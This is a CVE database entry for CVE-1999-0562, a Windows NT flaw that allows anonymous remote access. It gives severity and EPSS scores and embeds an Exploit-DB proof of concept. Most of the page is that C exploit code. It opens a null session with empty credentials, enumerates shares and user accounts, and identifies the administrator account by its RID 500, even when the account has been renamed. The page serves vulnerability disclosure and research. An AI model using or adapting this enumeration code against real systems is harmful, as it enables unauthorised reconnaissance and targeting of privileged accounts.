CVE-1999-0562 : Detail

CVE-1999-0562

0.47%V3
Network
2000-02-04
04h00 +00:00
2024-08-01
16h41 +00:00
CVE.org
NVD
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CVE Descriptions

The registry in Windows NT can be accessed remotely by users who are not administrators.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 19372

Publication date : 1999-06-27 22h00 +00:00
Author : J D Glaser
EDB Verified : Yes

source: https://www.securityfocus.com/bid/494/info By establishing a Null session with an NT host, an intruder can gain the name of even a renamed Administrator account. This is because even Null sessions are added to the Everyone group for the duration of the connection. This was done so that hosts not in the domain could still use MS Networking's browser functions. First - making a NULL Session connection One way to this is by using the Net Use command with an empty password. Programmatically, it looks like this.... //This function called from dialog that fills listbox with connections BOOL EstablishNullSession(CString TargetHost, CNTOHunterDlg* pDlg) { //Setup for UNICODE char* pTemp = TargetHost.GetBuffer(256); WCHAR wszServ[256]; LPWSTR Server = NULL; //Convert to Unicode MultiByteToWideChar(CP_ACP, 0, pTemp, strlen(pTemp)+1, wszServ, sizeof(wszServ)/sizeof(wszServ[0]) ); //Create the IPC$ share connection string we need Server = wszServ; LPCWSTR szIpc = L"\\IPC$"; WCHAR RemoteResource[UNCLEN + 5 + 1]; // UNC len + \IPC$ + NULL DWORD dwServNameLen; DWORD dwRC; //Setup Win32 structures and variables we need NET_API_STATUS nas; USE_INFO_2 ui2; SHARE_INFO_1* pSHInfo1 = NULL; DWORD dwEntriesRead; DWORD dwTotalEntries; //Set up handles to tree control to insert connection results HTREEITEM machineRoot, shareRoot, userRoot, adminRoot, attribRoot; char sharename[256]; char remark[256]; if(Server == NULL || *Server == L'\0') { SetLastError(ERROR_INVALID_COMPUTERNAME); return FALSE; } dwServNameLen = lstrlenW( Server ); //Test for various errors in connection string and recover if(Server[0] != L'\\' && Server[1] != L'\\') { // prepend slashes and NULL terminate RemoteResource[0] = L'\\'; RemoteResource[1] = L'\\'; RemoteResource[2] = L'\0'; } else { dwServNameLen -= 2; // drop slashes from count RemoteResource[0] = L'\0'; } if(dwServNameLen > CNLEN) { SetLastError(ERROR_INVALID_COMPUTERNAME); return FALSE; } if(lstrcatW(RemoteResource, Server) == NULL) return FALSE; if(lstrcatW(RemoteResource, szIpc) == NULL) return FALSE; //Start with clean memory ZeroMemory(&ui2, sizeof(ui2)); //Fill in the Win32 network structure we need to use connect API ui2.ui2_local = NULL; ui2.ui2_remote = (LPTSTR) RemoteResource; ui2.ui2_asg_type = USE_IPC; ui2.ui2_password = (LPTSTR) L""; //SET PASSWORD TO NULL ui2.ui2_username = (LPTSTR) L""; ui2.ui2_domainname = (LPTSTR) L""; //MAKE THE NULL SESSION CALL nas = NetUseAdd(NULL, 2, (LPBYTE)&ui2, NULL); dwRC = GetLastError(); if( nas == NERR_Success ) { machineRoot = pDlg->m_Victims.InsertItem(TargetHost, 0, 0, TVI_ROOT); } //THIS IS WHERE NT HANDS OUT IT INFORMATION nas = NetShareEnum((char*)Server, 1, (LPBYTE*)&pSHInfo1, MAX_PREFERRED_LENGTH, &dwEntriesRead, &dwTotalEntries, NULL); dwRC = GetLastError(); if( nas == NERR_Success ) { if(dwTotalEntries > 0) { shareRoot = pDlg->m_Victims.InsertItem("Shares", machineRoot,TVI_LAST); userRoot = pDlg->m_Victims.InsertItem("Users", machineRoot,TVI_LAST); adminRoot = pDlg->m_Victims.InsertItem("Admin", machineRoot,TVI_LAST); } for(int x=0; x<(int)dwTotalEntries; x++) { // Convert back to ANSI WideCharToMultiByte(CP_ACP, 0, (const unsigned short*)pSHInfo1->shi1_netname, -1, sharename, 256, NULL, NULL ); WideCharToMultiByte( CP_ACP, 0, (const unsigned short*)pSHInfo1->shi1_remark, -1, remark, 256, NULL, NULL ); CString ShareDetails = sharename; ShareDetails = ShareDetails + " - " + remark; //fill the tree with connect info attribRoot = pDlg->m_Victims.InsertItem(ShareDetails, shareRoot,TVI_LAST); pSHInfo1++; } } //My Wrapper function for listing users - see below DoNetUserEnum(Server, pDlg, userRoot, adminRoot); //WE ARE DONE, SO KILL THE CONNECTION nas = NetUseDel(NULL, (LPTSTR) RemoteResource, 0); TargetHost.ReleaseBuffer(); SetLastError( nas ); return FALSE; } The following function is how one can programmatically determine the administrator status of an account...... bool GetAdmin(char* pServer, char* pUser, CString& Name) { BOOL fAdmin = FALSE; DWORD dwDomainName,dwSize,dwAdminVal; SID_NAME_USE use; PSID pUserSID = NULL; // SID for user int rc; int iSubCount; bool bFoundHim = 0; dwDomainName = 256; dwSize = 0; dwAdminVal = 0; iSubCount = 0; //Call API for buffer size since we don't know size beforehand rc = LookupAccountName(pServer, pUser, pUserSID, &dwSize, szDomainName, &dwDomainName, &use ); rc = GetLastError(); //Allocate a larger buffer if(rc == ERROR_INSUFFICIENT_BUFFER) { pUserSID = (PSID) malloc(dwSize); //Repeat call now that we have the right size buffer rc = LookupAccountName(pServer, pUser, pUserSID, &dwSize, szDomainName, &dwDomainName, &use ); } //Scan the SIDS for the golden key - ADMIN == 500 //Get a count of SID's iSubCount = (int)*(GetSidSubAuthorityCount(pUserSID)); //Admin SID is the last element in the count dwAdminVal = *(GetSidSubAuthority(pUserSID, iSubCount-1)); if(dwAdminVal==500) //TEST TO SEE IF THIS IS THE ADMIN { Name.Format("Admin is %s\\%s\n", szDomainName, pUser); bFoundHim = true; } delete pUserSID; return bFoundHim; //WE KNOW WHO HE IS, ADD HIM TO THE TREE } Wrapper for Listing the user accounts..... void DoNetUserEnum(const wchar_t* pServer, CNTOHunterDlg* pDlg, HTREEITEM userRoot, HTREEITEM adminRoot) { USER_INFO_10 *pUserbuf, *pCurUser; DWORD dwRead, dwRemaining, dwResume, dwRC; char userName[256]; char userServer[256]; dwResume = 0; if(pServer[0] != L'\\' && pServer[1] != L'\\') { //Start sting with correct UNC slashes and NULL terminate RemoteResource[0] = L'\\'; RemoteResource[1] = L'\\'; RemoteResource[2] = L'\0'; } else { dwServNameLen -= 2; // drop slashes from count RemoteResource[0] = L'\0'; } if(dwServNameLen > CNLEN) { SetLastError(ERROR_INVALID_COMPUTERNAME); return; } if(lstrcatW(RemoteResource, pServer) == NULL) return; do { pUserbuf = NULL; //THIS IS THE API THE NT USES TO HAND OUT IT's LIST dwRC = NetUserEnum(RemoteResource, 10, 0, (BYTE**) &pUserbuf, 1024, &dwRead, &dwRemaining, &dwResume); if (dwRC != ERROR_MORE_DATA && dwRC != ERROR_SUCCESS) break; DWORD i; for(i = 0, pCurUser = pUserbuf; i < dwRead; ++i, ++pCurUser) { // Convert back to ANSI. WideCharToMultiByte( CP_ACP, 0, pCurUser->usri10_name, -1, userName, 256, NULL, NULL ); // Convert back to ANSI. WideCharToMultiByte( CP_ACP, 0, pServer, -1, userServer, 256, NULL, NULL ); if(!GotAdmin) { //use char strings CString Admin; GotAdmin = GetAdmin(userServer, userName, Admin); if(GotAdmin) { Admin.TrimRight(); HTREEITEM adminChild = pDlg->m_Victims.InsertItem(Admin, adminRoot, TVI_LAST); pDlg->m_Victims.EnsureVisible(adminChild); } } CString strUserName = userName; pDlg->m_Victims.InsertItem(strUserName, userRoot, TVI_LAST); } if (pUserbuf != NULL) NetApiBufferFree(pUserbuf); } while (dwRC == ERROR_MORE_DATA); if (dwRC != ERROR_SUCCESS) printf("NUE() returned %lu\n", dwRC); }

Products Mentioned

Configuraton 0

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_nt >> Version *

References